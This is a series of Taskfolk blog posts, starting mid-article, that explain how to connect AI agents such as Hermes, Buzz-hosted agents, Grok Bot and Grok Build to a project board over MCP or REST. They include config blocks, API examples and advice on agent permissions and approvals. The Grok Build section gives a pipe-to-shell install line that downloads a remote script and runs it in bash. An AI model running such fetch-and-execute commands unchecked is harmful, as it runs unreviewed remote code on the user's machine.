yesterday, what is in review, any agent session marked stalled or needs input, and the top three unassigned high priority issues. Send it to me on Telegram as a short plain text summary. ``` That is the whole automation. No workflow builder, no Zapier hop: the scheduler fires, the agent calls the board's tools, the summary lands next to your other messages. Whether an AI should run your entire standup is a live debate ([we wrote up where it works and where it fails](/blog/run-sprints-without-the-ceremony)), but a private morning readout to each person is the uncontroversial half. **Triage as a conversation.** "Go through the WEB backlog, label anything about billing, and propose priorities for the untriaged ones" is a natural Hermes task once the tools exist. Let it propose rather than decide: priorities are exactly the field where [AI triage helps most and should be trusted least](/blog/ai-issue-triage-that-assigns-and-prioritizes) without a human glance. ![AI triage proposing type, priority, and labels for a batch of issues](/images/blog/how-to-bulk-edit-issues-triage-modal.webp) **Delegation, same as any agent.** Assign an issue to the Hermes identity and Taskfolk creates a pending session; Hermes claims it with its session tools, works, and closes as review. From there the supervision surface is identical to every other agent on the hub, running, needs input, stalled after 30 silent minutes, an unverified badge on a done session with nothing attributed. The [delegation walkthrough](/docs/how-to-delegate-work-to-an-agent) applies unchanged. ![Live agent sessions listed in the Taskfolk agents hub](/images/blog/how-to-use-ai-agents-in-taskfolk-sessions.webp) ```mermaid flowchart LR A["WhatsApp or Telegram message"] --> B["Hermes Agent on your VPS"] B --> C["MCP tools"] C --> D["Ticket created on the board"] D --> E["Team sees and prioritizes it"] E --> F["Assigned back to Hermes or a human"] F --> B ``` ## Guardrails for an agent with a long memory Set the field policy before the first unattended cron run. The agent profile takes an allowlist over 14 issue fields; a sensible starting policy for a chat-driven assistant is title, description, status, labels, and comments, with assignee, priority, and dates held back until you trust its judgment, so a misremembered conversation cannot silently reshuffle the plan. It is enforced at the one API write path all surfaces share, per-field rather than per-value, and [takes two minutes to set](/docs/how-to-set-agent-field-permissions). Keep the memory division clean, too. The temptation with a self-improving agent is to feed it everything and let memory be the knowledge base. Better: project truths that a team relies on belong in docs the board owns, where anyone can correct them, and the agent reads them like everyone else; Hermes memory holds your preferences and the conversational residue. [Giving your agent a knowledge base](/blog/give-your-ai-agent-a-knowledge-base) is the longer argument. And the sovereignty note, stated once and honestly: Hermes' pitch is that everything stays on your machine, and connecting it to hosted SaaS means ticket data lives on Taskfolk's side of the line. The same trade-off came up pairing [Block's self-hosted Buzz with a hosted board](/blog/block-buzz-project-management), and the answer is the same: make it knowingly. The agent stays yours, its memory stays local, and the shared plan lives where someone else keeps the lights on. If your threat model cannot accept that, this pairing is not for you, and I would rather say so than bury it. ## Start with the digest If you only wire up one thing today, make it the morning digest: connect the agent, add the MCP block, schedule the 7:45 summary, and let the first week convince you. Tickets-from-chat and triage will follow naturally, because once Hermes can see the board, asking it board-shaped questions stops feeling like a feature and starts feeling like talking to the same assistant about one more part of your day. The agent side is already free and already yours; [the board's free plan](/docs/how-to-connect-an-ai-agent) covers the rest, and agents never bill a seat. A perfect memory plus a shared plan turns out to be a very good coworker. --- # How to use Block's Buzz for project management URL: https://taskfolk.ai/blog/block-buzz-project-management Published: 2026-08-29 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agents, MCP, task management, AI agent management, issue tracking, how-to, integrations Block's Buzz gives humans and AI agents one signed workspace but deliberately skips issue tracking. How to pair a Buzz relay with a real board over MCP. Your team just moved into Buzz. The relay is yours, every message is signed, the agents have their own keys and show up in rooms like colleagues, and the feature branch you cut this morning is already a channel with a patch thread in it. It feels like the future, because parts of it are. Then three weeks in, someone asks the oldest question in software: what is actually in flight right now, and what should we do next? And the honest answer is a search box over ten rooms. That is not a Buzz failure. It is a Buzz decision. Block's vision document for the project says plainly that Buzz does not reinvent issue tracking or project management; it gives you the conversation, the code, and the audit trail, and leaves the plan to something else. This guide is about the something else: pairing a Buzz relay with a real board, so the agents already working in your rooms also claim tickets, report sessions, and leave a state a manager can read. Everything below uses Taskfolk as the board and is current as of late August 2026. ## What Buzz is [Buzz](https://github.com/block/buzz) is Block's self-hosted workspace for humans and AI agents, released under Apache 2.0 on July 21, 2026, and sitting at around 31,000 GitHub stars a month later. The one-line pitch from the repo: "A workspace where humans and agents build together, on a relay you own." The architecture is the interesting part. Buzz is a Nostr relay with a workspace grown around it. Every action, a chat message, a reaction, a workflow run, an approval, a git push, is a cryptographically signed Nostr event in one audit log. Humans and agents get the same primitives: a secp256k1 keypair, a handle, Schnorr authentication. An agent's key is tied back to its human owner through a second signature, so agent work is both self-signed and owned. Three surfaces share the event log: Stream (Slack-like channels with mandatory topics), Forum (slower, Discourse-like), and DMs. Git is native rather than bolted on, with NIP-34 patches and status events, and feature branches that become collaborative rooms. Notifications are off by default, which tells you a lot about the taste level involved. Running it is a Docker Compose affair with Postgres, Redis, and MinIO, or the quick start for a local relay: ```bash git clone https://github.com/block/buzz.git && cd buzz . ./bin/activate-hermit just setup && just build just dev # relay on ws://localhost:3000 ``` Block runs Buzz internally as its Slack and GitHub replacement, which makes this more than a research artifact. The bet is that a signed event log can carry a company's entire collaboration surface, and a large company is currently testing that bet on itself. ## What Buzz deliberately leaves out Read the vision document and the scope boundary is explicit: channels are the workspace, branches are the review surface, and there is no ticketing system, no backlog, no sprint, no board. The document calls Buzz "the pipe", the event store, search index, subscriptions, and delivery, and "not the brain"; humans and agents bring the intelligence. Respect the decision, because it is the right one. Workspaces that tried to be tracker and chat and wiki at once have a long history of doing all three at a B minus. But the gap it leaves is real, and it has a specific shape with agents in the picture: - The audit log records what happened, in order, forever. It does not record what should happen next, in what priority, owned by whom. That is a different data structure. - A Stream topic is a conversation about work; it is not the work item. It has no state, no assignee, no due date, and it scrolls. - Agent work is signed, so you can prove an agent did something. Proving is not the same as tracking: there is no place where "the migration task" moves from open to review to done. - Approval gates exist in Buzz's schema, API, and UI, but the workflow executor's persistence for them is still on the roadmap (the WF-08 item), so gating real work on them today is premature. Multiply that by agents that work fast and around the clock, and the missing layer stops being theoretical. Two agents in two branch-rooms will happily do overlapping work, because rooms are not a shared claim. A signed patch nobody asked for is still unplanned work, beautifully attributed. [The audit trail question](/blog/keep-an-audit-trail-of-ai-agent-changes) and the planning question are different questions, and Buzz answers only the first. ## The pairing: Buzz keeps the record, the board keeps the state So run both, with a clean division of labor. Buzz owns conversation, code, and the signed history. The tracker owns the plan: a backlog humans prioritize, tickets with state, delegation, and the session-level view of what each agent is doing. The philosophical fit is close, which is what makes this pairing pleasant rather than forced. Buzz's core idea is that an agent is a real participant with its own identity and its human owner attached. A [connected agent in Taskfolk](/docs/how-to-connect-an-ai-agent) is the same idea on the tracker side: a real workspace member, flagged as an agent, with its own scoped API key whose authorship makes every call attributable, an owner on record, and no billed seat. The two systems disagree on transport, Nostr events versus REST, and agree completely on the model. | Layer | Lives in Buzz | Lives on the board | |---|---|---| | Conversation | Stream topics, Forum threads, DMs | No | | Code review | Branch rooms, NIP-34 patches | Link only | | Proof of what happened | Signed event log | Activity per issue | | What to do next | No | Backlog, priorities, sprints | | Work state | No | Issue status, board columns | | Agent supervision | Per-event signatures | Sessions: running, needs input, review, stalled | | Delegation | Mention an agent in a room | Assign an issue, agent claims a session | One deliberate asymmetry to note, since the audience overlaps: Buzz is self-hosted on a relay you own, and Taskfolk is hosted SaaS. If sovereignty is the reason you chose Buzz, the tracker being hosted is a trade-off you should make knowingly. What you get for it is a board someone else keeps running; what you give up is the story where every byte lives on your box. This guide will not pretend otherwise. ## Wire the agents you already have Here is the practical hinge, and it is shorter than you would expect. Buzz does not run its own model; agents plug into rooms through its ACP harness (`buzz-acp`), which hosts Goose, Codex, and Claude Code. All three are MCP clients. Taskfolk exposes a first-party MCP server at `https://taskfolk.ai/api/mcp/v1`, Streamable HTTP with the same bearer key as the REST API, tools generated from the OpenAPI registry so they cover the full surface. Which means the agent already sitting in your Buzz room needs one config block to also sit on your board. No bridge service, no webhook glue. ![Three gold doorways of different shapes in a dark wall, each opening onto the same faint grid: MCP, REST, and skills into one board.](/images/blog/how-to-use-ai-agents-in-taskfolk-doors.webp) First, [connect an agent in Taskfolk](/docs/how-to-connect-an-ai-agent) (Bots in the sidebar, Connect a bot, name it after the Buzz agent it mirrors, copy the key from the one-time reveal). Then point the harnessed agent at the board. For Goose, Block's own agent and the most natural resident of a Buzz room, it is an extension in `~/.config/goose/config.yaml` (or add it interactively with `goose configure` as a Remote Extension, Streamable HTTP): ```yaml extensions: taskfolk: enabled: true type: streamable_http name: taskfolk uri: https://taskfolk.ai/api/mcp/v1 headers: Authorization: "Bearer " timeout: 300 ``` For Claude Code under the same harness, it is the one-liner Taskfolk's connect dialog prints: ```bash claude mcp add --transport http taskfolk https://taskfolk.ai/api/mcp/v1 \ --header "Authorization: Bearer " ``` Codex and any other MCP client take the generic config from Taskfolk's Skills tab, which prints ready-made blocks per client. Connect one Taskfolk agent per Buzz agent, not a shared key: the point of both systems is attribution, and a shared key launders three agents into one name. If you want the deeper comparison of surfaces before committing, [MCP or REST for your agent](/blog/mcp-or-rest-api-for-your-agent) covers when each is the right door; the key works for both. ![The Skills tab in Taskfolk's developer area, showing the ready-made MCP config snippets an agent setup copies from.](/images/blog/how-to-install-taskfolk-as-an-agent-skill-skills-claude-code.webp) ## The loop, room to board and back With the wiring in place, the working rhythm looks like this. A human triages the backlog and assigns a ticket to the agent, which auto-creates a pending session on the board. In the Buzz room, someone (or a routine) tells the agent to pick up its queue. The agent claims the session, moves the ticket to In Progress, and starts pushing signed patches into the branch room, exactly what it did before. The new part is small and constant: state changes and links flow to the board as they happen, so the ticket always says where things stand and points at the room where the substance lives. ```mermaid sequenceDiagram participant Human participant Board as Taskfolk participant Agent participant Room as Buzz room Human->>Board: Assign WEB 240 to agent Note over Board: Session pending Agent->>Board: Claim session over MCP Agent->>Room: Signed patches and discussion Agent->>Board: Comment with link to the Buzz room Agent->>Board: Move to In Review, close session as review Human->>Room: Review the patch thread Human->>Board: Mark Done ``` The instruction you give the agent is the same standing loop that works for any [coding agent on a shared backlog](/blog/shared-backlog-for-ai-coding-agents): claim before working, comment with links to the room and the patch, set the session to needs input when blocked on a human, close as review and never self-mark Done. Since Buzz's own approval gates are not fully wired yet, the board's `needs_input` state is your approval queue in the meantime: the agent pauses, the ticket says why, a human answers in the room, the agent resumes. ![The Taskfolk Bots page after connecting: the sessions list with live state badges and the connected agents directory with name, owner, status, and key prefix.](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) Supervision then reads from the board, not from scrollback. A running session with no heartbeat for 30 minutes renders as stalled. A session closed with nothing attributed on its issue wears an unverified badge. A pending session no agent claims cancels itself after seven days. And when two Buzz agents would otherwise collide in adjacent rooms, the ticket is the claim: the second agent finds the issue already assigned and moves on, the pattern from [coordinating agents with status handoffs](/blog/coordinate-two-agents-with-issue-status-handoffs). ![The Sessions list on the Bots page with live state badges per session, each row linking to its issue key.](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) ## What this replaces, and what it refuses to Be precise about the claim, because the pairing only works if neither side overreaches. This setup does not sync Buzz events into Taskfolk or mirror tickets into rooms. Nothing polls. The agent is the integration: it lives in both places under one identity per side, and it carries the state across because its standing instruction says to. That is less machinery than an event bridge and, in my experience, more honest, because every crossing is an attributed action rather than a background sync you stop reading. It also means the humans keep their split. People who live in Buzz keep living there; the board is where planning and review verdicts happen, a place a PM checks twice a day rather than a fourth chat to monitor. If your team is tempted to also move chat to the board because Taskfolk [has team chat next to the issues](/blog/keep-team-chat-next-to-your-issues), fine, but that is a different migration; nothing in this setup requires it. The honest failure mode to watch: an agent whose instruction says "update the board" and whose context window eventually forgets. That is what the unverified badge and the stalled indicator are for, and it is why the loop instruction belongs in the agent's persistent config for the room, not in a one-off prompt. Write it once, next to the harness config, and the crossing becomes as habitual as the signing. ## Try it on one branch room Start with one. Pick a real ticket, [written so an agent can finish it](/blog/write-tickets-ai-agents-can-finish), assign it to the Buzz agent's Taskfolk identity, and let one branch room run the full loop: pending, claim, patches in the room, review on the board, a human's Done. If the ticket's history reads clean at the end, the room where the work happened and the board where the state lived, roll it out to the rest of the roster. The Taskfolk side costs nothing to try, agents never bill a seat, and the Buzz side you have already built. What [agentic project management](/blog/what-is-agentic-project-management) needs is not one tool that does everything; it is a signed record and a readable plan, agreeing about who did what. You now have both. --- # How to use Grok Bot for project management URL: https://taskfolk.ai/blog/grok-bot-project-management Published: 2026-08-28 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agents, task management, AI agent management, issue tracking, API, how-to, agentic project management How to use Grok Bot with Taskfolk for project management: connect each Bot as a named member over the REST API, surface its approvals, and read its sessions. Somewhere on a cloud computer you have never seen, your Grok Bot is working. It has been at it since 2am: reading pages, running commands, drafting the competitor pricing summary you asked for, pinging you once at 6:40 for an approval you half-read and allowed from your phone. This is the pitch of xAI's always-on agents, and the pitch is real. What is missing is the other half of management: where do you see what it did, what it is doing now, and what it decided while you slept? A chat thread with a tireless coworker is still just a chat thread. This guide is about closing that half. Grok Bot supplies the worker. A real board supplies the record: tickets the bot claims by name, sessions with states a human can read, an approval queue that lives on the work instead of in your notifications. I will use Taskfolk as the board, the demo workspace `taskfolk` and its `WEB` project as the example, and I will be specific about what Grok Bot documents and what it does not, because the integration surface is younger than the marketing. Facts are as of August 2026. ## What Grok Bot actually is [Grok Bot](https://x.ai/bot) entered beta on August 11, 2026. It is xAI's always-on agent product: you create Bots as persistent teammates, message them like colleagues, and they carry tasks end to end on a cloud computer with a browser, a terminal, and a file system. A Bot runs a loop of planning, acting, observing, and adjusting until the goal is met, and it comes back to you when it needs a decision. A few mechanics matter for what follows. The computer is shared. Every Bot on your account uses the same persistent cloud VM; each Bot gets its own screen, one computer-use task per screen at a time. xAI is blunt about the consequence, saying twice in its own docs: "Do not use separate Bots as a security boundary." Files, browser sessions, and command line credentials on that computer are available across your whole Bot roster. Bots learn by demonstration. Show a Bot a task once, up to a ten minute recording, and it saves the workflow as a skill. A skill assigned to one Bot on a schedule, time-based or event-triggered, is a routine. Bots also coordinate with each other in group chats, passing work and assigning ownership between themselves. Approvals are per action: Allow once, Deny, or Always allow, with an Auto Review layer that applies rules automatically, where a Require Approval rule always beats an Always Allow rule. For passwords, two-factor codes, CAPTCHAs, and payments, the Bot hands you control rather than handling the secret itself. Access runs through the SpaceXAI merger, which is a sentence I did not expect to type this year: SpaceX acquired Cursor in June 2026, the group folded in xAI, and Grok Bot is the first joint product. Eligibility is SuperGrok Heavy at $300 a month ($99 intro), Cursor Ultra at $200, or Cursor Teams Premium at $120 per seat, signed in with a Cursor account. There is no free tier, xAI has not named the underlying model, and platform support at launch is macOS, Windows, and iPhone, with a Linux installer that appeared on the download page despite the docs saying otherwise. If what you actually run is Grok Build, the terminal coding CLI, that is a different product with a different integration story; [Grok project management with Grok Build](/blog/grok-project-management) is the companion guide for it. ## A tireless coworker with no ticket history Here is the management problem, stated from the product's own design. Grok Bot's coordination surfaces are conversational: your chats with each Bot, and the group threads where Bots hand work to each other. Its memory of how to do things lives in skills and routines, which are recordings and schedules, not records of what happened. So after a week of real use you have four Bots, a few dozen threads, some routines firing on schedules you set up on a Tuesday, and no single place that answers the questions a manager actually asks. What is in flight right now? What finished yesterday, and did anyone check it? Which Bot touched the invoicing task, and what exactly did it change? The approval flow has the same shape. Approvals arrive as interruptions, one notification at a time, each one context-free unless you go reconstruct the thread. Approve from your phone at 6:40am often enough and Always Allow starts looking attractive, which is exactly how oversight erodes. An approval is a decision about work; it should live where the work lives, with the context attached. None of this is a flaw in Grok Bot. It is the standard gap between an agent that can do work and a system that lets a team manage work, and it is the same gap we have walked through for [coding agents](/docs/how-to-connect-an-ai-agent). The difference is that Grok Bot's always-on, multi-bot design makes the gap wider faster. An agent you invoke in a terminal is at least bounded by your attention. Four Bots running routines around the clock are not. ## What Grok Bot can connect to, honestly Grok Bot's documented path to external tools is API keys: connect your CRM, project management, and communication platforms by giving the Bot credentials to call their APIs. Its computer can also make arbitrary API calls, run code, and drive a browser. What is not documented, as of late August 2026, is MCP support. No config format, no server registration, nothing in the docs xAI has published for the beta. Maybe it lands later; the Cursor side of the house supports MCP everywhere. For now, build on what is documented: REST with a key. That rules out one tempting shortcut and one bad idea. The shortcut that does not exist yet: pointing Grok Bot at Taskfolk's MCP server the way you would with [Claude Code or Grok Build](/blog/mcp-or-rest-api-for-your-agent). And the bad idea: letting the Bot drive the Taskfolk web UI with its browser, signed in as you. It would work, Grok Bot is genuinely good at browsers. But every action would be attributed to your account, the Bot would occupy a human session doing clumsily what an API does cleanly, and the first UI change breaks the recorded skill. Browser automation is the Bot's tool of last resort for apps with no API. Taskfolk has a [REST API with over 180 operations](/docs/how-to-use-the-rest-api), so use it. ## Connect each Bot as a member, not a puppet of your account In Taskfolk, open Bots in the workspace sidebar and click Connect a bot. Name it after the Bot it represents, "Ops Bot" or "Research Bot", pick Custom agent as the provider tile (there is no Grok Bot tile yet; the tile only sets the logo and label in the directory), and copy the API key from the reveal step. The key is shown exactly once. Store it where the Bot can use it, which in Grok Bot's world means handing it over in the chat when the Bot asks, ideally through the masked secret request channel so it stays out of the transcript. ![The Connect a bot dialog with the agent name field and the grid of provider tiles the connect flow starts from.](/images/blog/how-to-use-ai-agents-in-taskfolk-connect.webp) What that click creates is the thing the chat thread never gave you: an identity. The agent is a real workspace member, flagged as an agent, holding a scoped write key whose creator is the agent user itself, which is what makes every API call it sends attribute back to the Bot by name on tickets, comments, and activity. Connected agents never count as billed seats, on any plan, and the 25 live agents per workspace cap is an abuse guard you will not hit with a Bot roster. Connect one Taskfolk agent per Bot, not one shared key for the roster. And be clear-eyed about what that buys you, because the shared cloud computer changes the usual math. All your Bots can read files on the same VM, so a key stored there is effectively readable by all of them; per-Bot keys on Grok Bot's side are attribution, not isolation. xAI already told you not to treat Bots as a security boundary, and a Taskfolk key does not change that. What per-Bot keys do give you is a truthful board: when Research Bot comments and Ops Bot moves a ticket, the record says so, and when one Bot starts misbehaving you can disconnect exactly that one, killing its key without touching the others. ![The Taskfolk Bots page after connecting: the sessions list with live state badges and the connected agents directory with name, owner, status, and key prefix.](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) ## Teach the Bot the loop once Grok Bot takes standing instructions well, and Taskfolk is built to be read by agents: the whole site speaks Markdown for Agents, so fetching `https://taskfolk.ai/` with an `Accept: text/markdown` header (or just reading `https://taskfolk.ai/llms.txt`) returns an orientation page listing every interface, the OpenAPI spec, and the key concepts. Have the Bot read that once, then give it a standing instruction along these lines: ```text You have a Taskfolk agent key for the workspace "taskfolk" (project WEB). Work only through the REST API at https://taskfolk.ai/api/v1 with your key. The loop, every working session: 1. List issues assigned to you. Pick the highest priority one. 2. Claim it: start your agent session against its issue key. Assignment already created a pending session for you; starting claims it. 3. Move the issue to In Progress. Comment briefly on your plan. 4. While working, if you are waiting on a human approval, set your session state to needs_input and comment on the issue saying exactly what you are waiting for and why. 5. When finished, comment with what you produced and links to it, move the issue to In Review, and close your session as review. Never mark your own work Done. ``` The wiring under those words is small. When someone assigns a `WEB` issue to the Bot's agent, Taskfolk auto-creates a `pending` session, visible immediately on the hub and the ticket. The Bot claims it with one call: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions \ -H "Authorization: Bearer $TASKFOLK_AGENT_KEY" \ -H "Content-Type: application/json" \ -d '{"title": "Competitor pricing summary", "issue_key": "WEB-231"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_AGENT_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ title: "Competitor pricing summary", issue_key: "WEB-231", }), }, ); const session = await res.json(); ``` ```python import os, requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_AGENT_KEY']}"}, json={"title": "Competitor pricing summary", "issue_key": "WEB-231"}, ) session = res.json() ``` ![A pending delegation session showing on the ticket immediately after assigning the issue to an agent.](/images/blog/assigned-to-an-agent-and-nothing-happened-pending-session-on-ticket.webp) The state that earns its keep with Grok Bot specifically is `needs_input`. Grok Bot already pauses for approvals; the instruction above makes that pause visible on the board instead of only in your notifications. An overnight run then reads like this: ```mermaid sequenceDiagram participant You participant Taskfolk participant Bot You->>Taskfolk: Assign WEB 231 to Ops Bot Note over Taskfolk: Session pending Bot->>Taskfolk: Claim session Note over Taskfolk: Session running Bot->>Taskfolk: Comment plan and move to In Progress Bot->>Taskfolk: Set needs_input and comment the question You->>Bot: Approve in Grok Bot Bot->>Taskfolk: Back to running Bot->>Taskfolk: Comment results and close as review You->>Taskfolk: Review and mark Done ``` Now the 6:40am approval has a home. Before you tap Allow, the ticket tells you what the Bot is doing, why it stopped, and what it already tried. The wider argument for structuring agent approvals this way, thresholds, what should never be auto-allowed, when a human signature is the feature and not the friction, is its own piece: [human-in-the-loop approval for AI agents](/docs/human-in-the-loop-approval-for-ai-agents). ## The morning read The Bots page sessions list is what you check with coffee instead of scrolling four Bot threads. Stored states are pending, running, needs input, review, done, failed, and cancelled, and two derived ones do the real supervision. A running session silent for 30 minutes shows as stalled, which is how a died-overnight run looks different from a working one. A session closed as review or done with no attributed activity or comment on its issue wears an unverified badge, which is how "the Bot says it finished" gets distinguished from "the Bot did something you can point at." A pending session no Bot ever claims is auto-cancelled after seven days. ![The Agents sessions list with state chips including Needs Input, a stalled run, a session in review linking to its work, and a Done session flagged Unverified.](/images/blog/manage-a-team-of-ai-agents-hub-sessions.webp) Write tickets the Bot can actually finish and the morning read gets shorter, because fewer sessions end in needs_input over ambiguity that belonged in the description. The habits are the same as for coding agents, boundary, negative space, and a done condition, covered in [write tickets AI agents can finish](/blog/write-tickets-ai-agents-can-finish). ## Guardrails that match an always-on agent Two Taskfolk-side controls are worth setting before the first overnight run, and one Grok-side habit. Field permissions first. Each agent profile takes an allowlist over 14 issue fields, enforced at the API write path that all surfaces share. For a business Bot a sensible policy is status, comments, spent time, and completion, with priority, assignee, and dates off-limits, so a Bot that hallucinated a deadline cannot write it into the plan at 3am. It is per-field, not per-value, so pair it with the instruction that agents close sessions as review and a human makes the final move to Done. [Setting agent field permissions](/docs/how-to-set-agent-field-permissions) walks through the dialog. On the Grok side, resist Always Allow for anything that writes outside the Bot's sandbox. xAI's own note that Auto Review is model-based and "should complement, not replace, least privilege" is the vendor telling you the guardrail can be wrong. The board makes restraint cheaper: since approval requests now surface as needs_input sessions with context, you lose less by keeping approvals manual. And keep the roster on one board rather than per-Bot silos. Grok Bots passing work in a group chat is impressive to watch and impossible to audit; Bots passing work as issue reassignments with status changes is the same handoff, recorded. The pattern is the one from [coordinating two agents with issue status handoffs](/blog/coordinate-two-agents-with-issue-status-handoffs), and it scales to a mixed roster, Grok Bots next to a Claude Code agent next to humans, because the board does not care who claims the ticket. When the roster grows past a couple of Bots, [managing a team of AI agents](/blog/manage-a-team-of-ai-agents) covers the supervision patterns. ## Set it up this afternoon The whole thing is an hour, most of it writing the standing instruction well. Connect one agent per Bot in the Bots page, hand each Bot its key through the masked secret channel, have it read the llms.txt orientation page, paste the loop instruction, then assign one small real task and watch the session go pending, running, needs input, review while the Bot works somewhere you cannot see. Agents do not bill seats, so the Taskfolk side of this experiment is free; the expensive part is the Grok Bot subscription you already have. [Connect the first one](/docs/how-to-connect-an-ai-agent) and find out whether an always-on coworker is easier to trust when its work has a paper trail. Ours got easier. The 6:40am approvals did not stop, but they stopped being mysteries. --- # Grok project management: give xAI's coding agent a real board URL: https://taskfolk.ai/blog/grok-project-management Published: 2026-08-28 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agents, MCP, task management, AI agent management, issue tracking, developer, how-to How to use Grok Build, xAI's coding agent, for real project management: connect it to a shared board over MCP, delegate tickets, and read its sessions. You ran `grok goal "all failing tests pass"` before dinner and let xAI's agent work the repo on its own. It finished around midnight. This morning you know two things: the tests pass, and nothing else. Which files it touched, which of its eight sub-agents did what, whether it noticed the flaky auth spec you meant to warn it about, none of that is recorded anywhere a person can read. The terminal scrollback is gone. Your teammate is asking what happened to the ticket they filed on Tuesday, and the honest answer is "an agent may have fixed it, let me grep." That gap is what this guide closes. Grok Build is genuinely good at doing the work. It is not a place to track the work, and it does not try to be. Point it at a real board over MCP and the picture changes: the agent reads tickets from a backlog your team curates, claims the ones you assign to it, and reports its progress as sessions a human can watch from a browser. The agent still runs in your terminal. The record of what it did lives somewhere everyone can see. Everything below uses Taskfolk as the board and the demo workspace `taskfolk` with its `WEB` project. Swap in your own slugs. Facts about Grok Build are as of August 2026 and come from xAI's own announcements plus the public docs; where something is a limitation, I say so. ## What Grok Build is, in plain terms [Grok Build](https://x.ai/news/grok-build-0-1) is xAI's agentic coding CLI, launched in public beta at the end of May 2026 and open-sourced under Apache 2.0 in mid-July. The model behind it, `grok-build-0.1`, is trained specifically for agentic coding and is served fast, at over 100 tokens per second, priced at $1 per million input tokens and $2 per million output. It scores 70.8% on SWE-Bench, which puts it in the serious tier without leading it. The CLI is the interesting part for project work. You install it with one line: ```bash curl -fsSL https://x.ai/cli/install.sh | bash ``` Then `grok` opens an interactive session, `grok exec "fix the login redirect"` runs a single task and exits, `grok plan` produces a plan without executing it, and `grok goal "condition"` runs autonomously until the condition is met. The flagship trick is `grok arena`, which races multiple agents against the same problem so you can pick the best attempt, and Grok Build can spawn up to eight sub-agents working in parallel. Full parallelism sits behind the SuperGrok Heavy tier at $299 a month, while the API path is usage-based with no subscription. One disambiguation before going deeper, because xAI now ships two agents with nearly the same name. Grok Build is the terminal coding CLI this guide covers. Grok Bot is the always-on cloud agent that runs tasks unattended on its own computer; it has its own integration story, covered in [Grok Bot project management](/blog/grok-bot-project-management). Two more facts matter for what comes next. Grok Build speaks MCP natively, over both stdio and HTTP. And it auto-discovers existing agent config on your machine: Claude Code marketplaces, plugins, skills, MCP servers, hooks, and instruction files, plus Claude, Cursor, and `.mcp.json` MCP configurations. xAI's pitch is that anything you wired up for Claude Code works in Grok Build with zero reconfiguration. That claim turns out to be the fastest way to connect it to a tracker, and I will use it below. ## Where Grok keeps its work today, and where that stops Out of the box, Grok Build's working state is local. Plans live in the session. Progress lives in the terminal. If you keep a task list at all, it is a markdown file in the repo, with all the problems that [file-based task tracking](/blog/claude-code-task-management) always has: it evaporates when the session ends, nobody is notified of anything, and two agents in the same repo race each other for one file. Grok's answer to integrations is Connectors, a catalogue of 31 first-party hosted integrations as of August 2026, most of them implemented as hosted MCP endpoints. GitHub and Linear are in the list. Connectors are real and they work, but they answer a different question. A connector lets Grok read from and write to an app. It does not make Grok a visible member of your team with its own name, its own assigned tickets, and a session state a manager can check without asking you to scroll your terminal. The autonomous modes sharpen the problem instead of softening it. `grok goal` is precisely the mode where you are not watching, which is precisely when you most want an external record. And `grok arena` multiplies it: eight agents produce eight attempts, one wins, and unless something writes that down, the history of what was tried and rejected exists only in your memory. The better the agent gets at running unattended, the more the missing ledger costs you. So the shape of the fix is not "a smarter agent." It is a shared destination: a board that survives sessions, shows state to humans, and treats the agent as a member rather than a script. That is the same conclusion we reached for [Cursor](/blog/cursor-agent-project-management) and Claude Code, and Grok Build actually has the cleanest wiring path of the three. ## Wire Grok Build to Taskfolk over MCP Taskfolk exposes a first-party MCP server at `https://taskfolk.ai/api/mcp/v1`, Streamable HTTP with JSON-RPC 2.0, authenticated by the same bearer API key as the REST surface. The tool catalogue is generated from the OpenAPI registry, one tool per REST operation, over 180 of them, so the tools the agent sees never drift from the real API. If you want the tradeoff between the two surfaces spelled out, [MCP or REST for your agent](/blog/mcp-or-rest-api-for-your-agent) covers it; the short version is that the same key works for both, so this is not a choice you can get wrong. You have three ways to register the server in Grok Build. Pick one. The lazy path, and my favorite: if you ever connected Taskfolk to Claude Code on this machine, you are already done. Grok Build reads existing Claude and `.mcp.json` configurations at startup, so the `claude mcp add taskfolk` you ran months ago is discovered automatically and the Taskfolk tools appear in Grok with no new configuration. The CLI path, for a fresh machine: ```bash grok mcp add --transport http taskfolk https://taskfolk.ai/api/mcp/v1 ``` The explicit path, which is also where the auth header lives, is Grok Build's config file at `~/.grok/config.toml`: ```toml [mcp_servers.taskfolk] url = "https://taskfolk.ai/api/mcp/v1" headers = { "Authorization" = "Bearer ${TASKFOLK_AGENT_KEY}" } ``` Grok expands `${VAR}` from the environment, so the key stays out of the file. Where that key comes from is the next section, because it should not be your personal key. One honest note on the Taskfolk side: the Skills tab in the developer area prints ready-made config for Claude Code, Claude Desktop, VS Code, Cursor, Codex, opencode, and a generic MCP client. There is no Grok-specific variant yet. The generic MCP block is exactly what the TOML above encodes, so nothing is missing in practice, but you will be translating one config block rather than copying a labelled one. ![The Skills tab in Taskfolk's developer area, showing the ready-made MCP config snippets an agent setup copies from.](/images/blog/how-to-install-taskfolk-as-an-agent-skill-skills-claude-code.webp) ## Connect Grok as a member, not as your shadow Here is the part people skip, and it is the part that makes the whole setup worth doing. Do not point Grok at Taskfolk with your own API key. If you do, every comment it writes and every status it moves is attributed to you, and in three weeks nobody can tell which decisions were yours. Connect it as its own agent instead. In your workspace sidebar, open Bots, then click Connect a bot. The dialog asks for two things: a name and the tool it runs on. Name it like a seat, "Omar's Grok" or "Nightly goal runner," because when three agents hold tickets on one board the name is how you tell them apart. Under Runs on there is no Grok tile in the provider grid yet, so pick Custom agent. The tile only sets the logo and label shown in the directory; every provider gets the identical scoped key and the identical MCP endpoint, so nothing mechanical is lost by the choice. ![The Connect a bot dialog with the agent name field and the grid of provider tiles the connect flow starts from.](/images/blog/how-to-use-ai-agents-in-taskfolk-connect.webp) Click Connect and Taskfolk creates a real workspace member: a hidden agent user, a member-role seat flagged as an agent, and an API key whose creator is the agent itself. That authorship is the attribution mechanism. Every MCP call the key makes traces back to the agent by name, on the ticket, in the activity log, everywhere. Connected agents also never count as billed seats, so wiring up Grok next to your existing Claude and Cursor agents costs nothing; there is a 